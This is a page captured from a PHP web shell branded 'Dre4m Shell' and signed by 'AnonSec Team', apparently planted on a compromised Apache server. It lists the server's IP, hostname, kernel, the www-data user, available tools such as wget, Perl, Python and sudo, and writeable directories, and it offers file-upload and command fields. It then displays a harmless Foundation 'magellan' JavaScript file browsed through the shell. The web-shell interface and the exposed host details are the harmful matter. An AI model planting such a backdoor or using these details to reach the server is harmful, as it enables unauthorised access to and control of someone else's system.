Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.58.199.41
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/automx/automx-master/src/html/js/foundation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/automx/automx-master/src/html/js/foundation/foundation.magellan.js
/*jslint unparam: true, browser: true, indent: 2 */

;
(function ($, window, document, undefined) {
    'use strict';

    Foundation.libs.magellan = {
        name: 'magellan',

        version: '4.2.2',

        settings: {
            activeClass: 'active'
        },

        init: function (scope, method, options) {
            this.scope = scope || this.scope;
            Foundation.inherit(this, 'data_options');

            if (typeof method === 'object') {
                $.extend(true, this.settings, method);
            }

            if (typeof method !== 'string') {
                if (!this.settings.init) {
                    this.fixed_magellan = $("[data-magellan-expedition]");
                    this.set_threshold();
                    this.last_destination = $('[data-magellan-destination]').last();
                    this.events();
                }

                return this.settings.init;
            } else {
                return this[method].call(this, options);
            }
        },

        events: function () {
            var self = this;
            $(this.scope).on('arrival.fndtn.magellan', '[data-magellan-arrival]', function (e) {
                var $destination = $(this),
                    $expedition = $destination.closest('[data-magellan-expedition]'),
                    activeClass = $expedition.attr('data-magellan-active-class')
                        || self.settings.activeClass;

                $destination
                    .closest('[data-magellan-expedition]')
                    .find('[data-magellan-arrival]')
                    .not($destination)
                    .removeClass(activeClass);
                $destination.addClass(activeClass);
            });

            this.fixed_magellan
                .on('update-position.fndtn.magellan', function () {
                    var $el = $(this);
                    // $el.data("magellan-fixed-position","");
                    // $el.data("magellan-top-offset", "");
                })
                .trigger('update-position');

            $(window)
                .on('resize.fndtn.magellan', function () {
                    this.fixed_magellan.trigger('update-position');
                }.bind(this))

                .on('scroll.fndtn.magellan', function () {
                    var windowScrollTop = $(window).scrollTop();
                    self.fixed_magellan.each(function () {
                        var $expedition = $(this);
                        if (typeof $expedition.data('magellan-top-offset') === 'undefined') {
                            $expedition.data('magellan-top-offset', $expedition.offset().top);
                        }
                        if (typeof $expedition.data('magellan-fixed-position') === 'undefined') {
                            $expedition.data('magellan-fixed-position', false)
                        }
                        var fixed_position = (windowScrollTop + self.settings.threshold) > $expedition.data("magellan-top-offset");
                        var attr = $expedition.attr('data-magellan-top-offset');

                        if ($expedition.data("magellan-fixed-position") != fixed_position) {
                            $expedition.data("magellan-fixed-position", fixed_position);
                            if (fixed_position) {
                                $expedition.addClass('fixed');
                                $expedition.css({position: "fixed", top: 0});
                            } else {
                                $expedition.removeClass('fixed');
                                $expedition.css({position: "", top: ""});
                            }
                            if (fixed_position && typeof attr != 'undefined' && attr != false) {
                                $expedition.css({
                                    position: "fixed",
                                    top: attr + "px"
                                });
                            }
                        }
                    });
                });


            if (this.last_destination.length > 0) {
                $(window).on('scroll.fndtn.magellan', function (e) {
                    var windowScrollTop = $(window).scrollTop(),
                        scrolltopPlusHeight = windowScrollTop + $(window).height(),
                        lastDestinationTop = Math.ceil(self.last_destination.offset().top);

                    $('[data-magellan-destination]').each(function () {
                        var $destination = $(this),
                            destination_name = $destination.attr('data-magellan-destination'),
                            topOffset = $destination.offset().top - windowScrollTop;

                        if (topOffset <= self.settings.threshold) {
                            $("[data-magellan-arrival='" + destination_name + "']").trigger('arrival');
                        }
                        // In large screens we may hit the bottom of the page and dont reach the top of the last magellan-destination, so lets force it
                        if (scrolltopPlusHeight >= $(self.scope).height() && lastDestinationTop > windowScrollTop && lastDestinationTop < scrolltopPlusHeight) {
                            $('[data-magellan-arrival]').last().trigger('arrival');
                        }
                    });
                });
            }

            this.settings.init = true;
        },

        set_threshold: function () {
            if (!this.settings.threshold) {
                this.settings.threshold = (this.fixed_magellan.length > 0) ?
                    this.outerHeight(this.fixed_magellan, true) : 0;
            }
        },

        off: function () {
            $(this.scope).off('.fndtn.magellan');
        },

        reflow: function () {
        }
    };
}(Foundation.zj, this, this.document));

Anon7 - 2022
AnonSec Team